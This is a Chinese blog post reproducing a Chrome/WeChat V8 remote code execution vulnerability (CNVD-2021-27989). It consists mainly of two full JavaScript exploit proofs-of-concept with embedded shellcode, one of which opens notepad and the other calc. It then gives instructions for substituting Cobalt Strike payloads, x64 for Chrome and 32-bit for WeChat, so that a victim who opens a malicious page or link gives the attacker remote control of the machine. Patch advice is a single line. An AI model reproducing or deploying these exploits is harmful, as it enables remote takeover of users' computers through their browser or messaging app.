chrome浏览器远程代码执行漏洞（CNVD-2021-27989）复现

背景

最近正值hw期间，大家都挺累的，也是0day漏洞爆发的时候。这两天，在群里看到有人说谷歌浏览器爆出了高危漏洞，微信也受影响，因为微信内置的也是chrome内核，并且开启了--no-sandbox参数，所以这个漏洞利用起来危害还是挺大的。

参考链接：

（公众号：InBug实验室）https://mp.weixin.qq.com/s/M7VpUhdkk2tyGYhxM1C8Qw

谷歌浏览器历史版本下载链接：

https://www.chromedownloads.net/

漏洞复现

最近 Google Chrome 浏览器被爆出存在远程代码执行漏洞（CNVD-2021-27989），攻击者只需要构造一个恶意的 html 页面诱导用户点击访问，就能实现对浏览器的远程代码执行攻击。但是攻击者单独利用该漏洞无法实现沙盒（SandBox）逃逸。沙盒是 Google Chrome 浏览器的安全边界，防止恶意攻击代码破坏用户系统或者浏览器其他页面。Google Chrome 浏览器默认开启沙盒保护模式。（来自InBug实验室描述）

漏洞影响范围

Google Chrome < = 89.0.4389.114

微信 <= 3.2.1.141

就2021年4月17日来说，漏洞影响范围还是相当广的，不管是chrome还是微信，都是除了最新版本，之前版本都包含在内。

测试环境

chrome：版本 89.0.4389.90（正式版本） （64 位）

Windows server 2012

微信：3.1.0.72

复现过程

在验证漏洞之前，先要安装好chrome，并且在快捷方式里最后添加--no-sandbox，关闭谷歌浏览器的沙盒模式。

部分机器的目标这里两边可能有双引号包裹的现象，我没有深入学习，也没有找到解决方式，请自行查找。

我这边收集的漏洞poc有两版，没有用文章里的，下面这个poc个人测试能将chrome弹记事本，但是微信不能弹。之后的浏览器和微信在cs上线，用的全是第一个poc。

poc1：

<script>
   function gc() {
       for (var i = 0; i < 0x80000; ++i) {
           var a = new ArrayBuffer();
      }
  }
   let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
       0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
       0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
       0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
       0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
       0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
       0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
       0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
       0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
       0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
       0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
       0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
       0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
       0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
       0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
       0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
       0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
       0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
   var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
   var wasmModule = new WebAssembly.Module(wasmCode);
   var wasmInstance = new WebAssembly.Instance(wasmModule);
   var main = wasmInstance.exports.main;
   var bf = new ArrayBuffer(8);
   var bfView = new DataView(bf);
   function fLow(f) {
       bfView.setFloat64(0, f, true);
       return (bfView.getUint32(0, true));
  }
   function fHi(f) {
       bfView.setFloat64(0, f, true);
       return (bfView.getUint32(4, true))
  }
   function i2f(low, hi) {
       bfView.setUint32(0, low, true);
       bfView.setUint32(4, hi, true);
       return bfView.getFloat64(0, true);
  }
   function f2big(f) {
       bfView.setFloat64(0, f, true);
       return bfView.getBigUint64(0, true);
  }
   function big2f(b) {
       bfView.setBigUint64(0, b, true);
       return bfView.getFloat64(0, true);
  }
   class LeakArrayBuffer extends ArrayBuffer {
       constructor(size) {
           super(size);
           this.slot = 0xb33f;
      }
  }
   function foo(a) {
       let x = -1;
       if (a) x = 0xFFFFFFFF;
       var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
       arr.shift();
       let local_arr = Array(2);
       local_arr[0] = 5.1;//4014666666666666
       let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
       arr[0] = 0x1122;
       return [arr, local_arr, buff];
  }
   for (var i = 0; i < 0x10000; ++i)
       foo(false);
   gc(); gc();
  [corrput_arr, rwarr, corrupt_buff] = foo(true);
   corrput_arr[12] = 0x22444;
   delete corrput_arr;
   function setbackingStore(hi, low) {
       rwarr[4] = i2f(fLow(rwarr[4]), hi);
       rwarr[5] = i2f(low, fHi(rwarr[5]));
  }
   function leakObjLow(o) {
       corrupt_buff.slot = o;
       return (fLow(rwarr[9]) - 1);
  }
   let corrupt_view = new DataView(corrupt_buff);
   let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
   let idx0Addr = corrupt_buffer_ptr_low - 0x10;
   let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
   let delta = baseAddr + 0x1c - idx0Addr;
   if ((delta % 8) == 0) {
       let baseIdx = delta / 8;
       this.base = fLow(rwarr[baseIdx]);
  } else {
       let baseIdx = ((delta - (delta % 8)) / 8);
       this.base = fHi(rwarr[baseIdx]);
  }
   let wasmInsAddr = leakObjLow(wasmInstance);
   setbackingStore(wasmInsAddr, this.base);
   let code_entry = corrupt_view.getFloat64(13 * 8, true);
   setbackingStore(fLow(code_entry), fHi(code_entry));
   for (let i = 0; i < shellcode.length; i++) {
       corrupt_view.setUint8(i, shellcode[i]);
  }
   main();
</script>

这个能在微信弹计算器，但是chrome却没有反应，不知道是因为啥。poc2：

<script type="text/javascript">
ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [0x89,0xe0,0xda,0xc1,0xd9,0x70,0xf4,0x5a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x43,0x43,0x43,0x43,0x43,0x43,0x37,0x52,0x59,0x6a,0x41,0x58,0x50,0x30,0x41,0x30,0x41,0x6b,0x41,0x41,0x51,0x32,0x41,0x42,0x32,0x42,0x42,0x30,0x42,0x42,0x41,0x42,0x58,0x50,0x38,0x41,0x42,0x75,0x4a,0x49,0x4b,0x4c,0x68,0x68,0x4e,0x62,0x57,0x70,0x45,0x50,0x55,0x50,0x61,0x70,0x4b,0x39,0x69,0x75,0x45,0x61,0x4b,0x70,0x71,0x74,0x6e,0x6b,0x66,0x30,0x44,0x70,0x6c,0x4b,0x53,0x62,0x74,0x4c,0x6c,0x4b,0x61,0x42,0x52,0x34,0x4c,0x4b,0x33,0x42,0x56,0x48,0x64,0x4f,0x4d,0x67,0x71,0x5a,0x47,0x56,0x65,0x61,0x39,0x6f,0x6e,0x4c,0x47,0x4c,0x31,0x71,0x51,0x6c,0x55,0x52,0x44,0x6c,0x55,0x70,0x5a,0x61,0x5a,0x6f,0x74,0x4d,0x43,0x31,0x58,0x47,0x78,0x62,0x38,0x72,0x36,0x32,0x76,0x37,0x6c,0x4b,0x66,0x32,0x56,0x70,0x4c,0x4b,0x30,0x4a,0x77,0x4c,0x6e,0x6b,0x52,0x6c,0x32,0x31,0x71,0x68,0x6d,0x33,0x73,0x78,0x57,0x71,0x7a,0x71,0x62,0x71,0x4e,0x6b,0x70,0x59,0x65,0x70,0x75,0x51,0x78,0x53,0x4e,0x6b,0x50,0x49,0x65,0x48,0x5a,0x43,0x64,0x7a,0x67,0x39,0x6e,0x6b,0x54,0x74,0x4c,0x4b,0x77,0x71,0x4b,0x66,0x46,0x51,0x39,0x6f,0x4e,0x4c,0x6a,0x61,0x38,0x4f,0x34,0x4d,0x47,0x71,0x59,0x57,0x55,0x68,0x39,0x70,0x54,0x35,0x4b,0x46,0x66,0x63,0x51,0x6d,0x49,0x68,0x67,0x4b,0x61,0x6d,0x51,0x34,0x70,0x75,0x38,0x64,0x62,0x78,0x6c,0x4b,0x73,0x68,0x55,0x74,0x77,0x71,0x49,0x43,0x42,0x46,0x6e,0x6b,0x66,0x6c,0x72,0x6b,0x4c,0x4b,0x42,0x78,0x75,0x4c,0x73,0x31,0x39,0x43,0x4c,0x4b,0x67,0x74,0x4e,0x6b,0x45,0x51,0x68,0x50,0x4d,0x59,0x62,0x64,0x36,0x44,0x66,0x44,0x63,0x6b,0x43,0x6b,0x70,0x61,0x72,0x79,0x43,0x6a,0x72,0x71,0x39,0x6f,0x79,0x70,0x33,0x6f,0x43,0x6f,0x32,0x7a,0x6c,0x4b,0x77,0x62,0x7a,0x4b,0x6c,0x4d,0x53,0x6d,0x52,0x4a,0x55,0x51,0x4e,0x6d,0x4d,0x55,0x6c,0x72,0x75,0x50,0x55,0x50,0x33,0x30,0x36,0x30,0x33,0x58,0x76,0x51,0x6c,0x4b,0x32,0x4f,0x6d,0x57,0x49,0x6f,0x5a,0x75,0x4f,0x4b,0x5a,0x50,0x4f,0x45,0x59,0x32,0x73,0x66,0x31,0x78,0x4d,0x76,0x6d,0x45,0x6f,0x4d,0x6d,0x4d,0x4b,0x4f,0x38,0x55,0x37,0x4c,0x46,0x66,0x73,0x4c,0x34,0x4a,0x4b,0x30,0x59,0x6b,0x79,0x70,0x50,0x75,0x55,0x55,0x4d,0x6b,0x32,0x67,0x64,0x53,0x54,0x32,0x72,0x4f,0x52,0x4a,0x53,0x30,0x31,0x43,0x69,0x6f,0x6b,0x65,0x31,0x73,0x51,0x71,0x32,0x4c,0x55,0x33,0x34,0x6e,0x55,0x35,0x44,0x38,0x30,0x65,0x63,0x30,0x41,0x41];
function print(data) {
}


var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}

function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}

function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;

    this.page_buffer = null;
    this.page_view = null;

    this.prevent_opt = [];

    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;

    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }

    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);

    new RegExp({ toString: function () { return 'a' } });
    cb(true);

    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );

            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }

    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }

        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }

        return DerivedN;
    })`);

    gc();


    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }

    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }

    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }

    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }

    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }

    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}

function trigger() {
    var oob = oobAccess();

    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));

    var kCodeInsOffset = 0x1b;

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));

    oob.setBytes(code_addr, shellcode);

    target_function(0);
}

try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}
</script>

微信弹框这个我看群里很多人复现失败，最开始我也失败，以为是版本原因有影响，就让大佬发了个微信弹计算器的poc（第二个poc），发现并不是版本的原因。

CS上线

chrome

使用Cobalt strike创建一个监听器，http的就行，然后生成c的poc，我是64位的浏览器，所以生成的poc勾选了s使用 x64 payload。

之后将shellcode中的，替换为,0。替换之后，注意最前面的,，将前面的,去掉。

将双引号内的内容复制到第一个poc的let shellcode行中括号中。保存为html文件，使用chrome打开，即可上线。

微信

通过微信点击URL链接，过程中会调用微信内置浏览器(chrome内核，并开启了--no-sandbox参数)。针对chrome漏洞利用的js代码成功执行后，shellcode将启动远控进程，最终获取该PC当前用户权限。

生成微信的poc时注意，生成的payload得是32位的，因为微信是32位的，因为这个问题我没注意卡了好久:happy:。

在微信里点击连接后，上线！

上线cs后，如果chrome或是微信进程停了，连接也就断了。

漏洞修复

chrome和微信均升级到最新版本。

我的微信自动更新老是失败，不知道为什么，这个漏洞的通过微信利用的话危害还是相当大的。

总结

复现过程中遇到坑很正常，在复现时，多注意细节。